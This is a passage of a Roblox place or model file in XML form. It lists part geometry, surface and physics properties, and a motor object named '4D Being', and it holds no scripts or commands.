				</Properties>
				<Item class="Part" referent="RBX2081">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">0</float>
						<float name="BackParamB">0</float>
						<token name="BackSurface">6</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-55.7314034</X>
							<Y>7.87670612</Y>
							<Z>5.48017788</Z>
							<R00>0.999378741</R00>
							<R01>0.0351759158</R01>
							<R02>-0.00218513981</R02>
							<R10>-0.0351786055</R10>
							<R11>0.999380291</R11>
							<R12>-0.00120509008</R12>
							<R20>0.00214139558</R20>
							<R21>0.00128121162</R21>
							<R22>0.999996901</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.144539341</X>
							<Y>-0.0944582969</Y>
							<Z>0.965158284</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.07246876</X>
							<Y>-0.0988453031</Y>
							<Z>-1.03889477</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2082">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-51.5</X>
							<Y>5.9000001</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>13</X>
							<Y>3</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2083">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-51.2341995</X>
							<Y>7.71840239</Y>
							<Z>5.48981428</Z>
							<R00>0.999378741</R00>
							<R01>0.0351759158</R01>
							<R02>-0.00218513981</R02>
							<R10>-0.0351786055</R10>
							<R11>0.999380291</R11>
							<R12>-0.00120509008</R12>
							<R20>0.00214139558</R20>
							<R21>0.00128121162</R21>
							<R22>0.999996901</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.144539341</X>
							<Y>-0.0944582969</Y>
							<Z>0.965158284</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.22434664</X>
							<Y>4.24306107</Y>
							<Z>-0.591215432</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>8</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2084">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-57.5</X>
							<Y>8.40000057</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2085">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-55.7440453</X>
							<Y>7.87442303</Y>
							<Z>6.48081589</Z>
							<R00>0.0139614046</R00>
							<R01>-0.777136862</R01>
							<R02>-0.629176795</R02>
							<R10>0.00836460292</R10>
							<R11>-0.629125357</R11>
							<R12>0.777258933</R12>
							<R20>-0.999867618</R20>
							<R21>-0.016114464</R21>
							<R22>-0.00228311238</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.108361915</X>
							<Y>0.303763419</Y>
							<Z>2.35993457</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.40532827</X>
							<Y>-0.0324151069</Y>
							<Z>-1.2562139</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2086">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-55.758007</X>
							<Y>7.86605835</Y>
							<Z>7.48068333</Z>
							<R00>0.0139614046</R00>
							<R01>-0.777136862</R01>
							<R02>-0.629176795</R02>
							<R10>0.00836460292</R10>
							<R11>-0.629125357</R11>
							<R12>0.777258933</R12>
							<R20>-0.999867618</R20>
							<R21>-0.016114464</R21>
							<R22>-0.00228311238</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.108361915</X>
							<Y>0.303763419</Y>
							<Z>2.35993457</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.72879171</X>
							<Y>0.0429835282</Y>
							<Z>-1.25106645</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2087">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-50.5</X>
							<Y>2.4000001</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>15</X>
							<Y>4</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2088">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-55.7859306</X>
							<Y>7.84932899</Y>
							<Z>9.48041821</Z>
							<R00>0.0139614046</R00>
							<R01>-0.777136862</R01>
							<R02>-0.629176795</R02>
							<R10>0.00836460292</R10>
							<R11>-0.629125357</R11>
							<R12>0.777258933</R12>
							<R20>-0.999867618</R20>
							<R21>-0.016114464</R21>
							<R22>-0.00228311238</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.108361915</X>
							<Y>0.303763419</Y>
							<Z>2.35993457</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>6.37571812</X>
							<Y>0.193780795</Y>
							<Z>-1.24077141</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>3</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2089">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">0</float>
						<float name="BackParamB">0</float>
						<token name="BackSurface">6</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-46.7369957</X>
							<Y>7.56009865</Y>
							<Z>5.49945068</Z>
							<R00>0.999378741</R00>
							<R01>0.0351759158</R01>
							<R02>-0.00218513981</R02>
							<R10>-0.0351786055</R10>
							<R11>0.999380291</R11>
							<R12>-0.00120509008</R12>
							<R20>0.00214139558</R20>
							<R21>0.00128121162</R21>
							<R22>0.999996901</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.144539341</X>
							<Y>-0.0944582969</Y>
							<Z>0.965158284</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>5.37622452</X>
							<Y>8.58496761</Y>
							<Z>-0.143536076</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2090">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-50.5</X>
							<Y>8.90000057</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>13</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2091">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-44</X>
							<Y>5.9000001</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.100000001</float>
						<float name="FrontParamB">0.100000001</float>
						<token name="FrontSurface">7</token>
						<token name="FrontSurfaceInput">12</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>3</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2092">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-43.9357224</X>
							<Y>5.40309906</Y>
							<Z>6.50001526</Z>
							<R00>0.9916628</R00>
							<R01>-0.128859863</R01>
							<R02>-0.00013430712</R02>
							<R10>0.128859863</R10>
							<R11>0.9916628</R11>
							<R12>9.15689088e-005</R12>
							<R20>0.000121387813</R20>
							<R21>-0.000108112283</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.0147649124</X>
							<Y>-0.0288051032</Y>
							<Z>-3.14508891</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.53608251</X>
							<Y>-0.202465892</Y>
							<Z>0.0234816428</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2093">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-43.5</X>
							<Y>8.40000057</Y>
							<Z>7.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="VelocityMotor" referent="RBX2094">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<float name="CurrentAngle">0</float>
						<float name="DesiredAngle">0</float>
						<Ref name="Hole">null</Ref>
						<float name="MaxVelocity">0</float>
						<string name="Name">4D Being</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2095">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2096">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
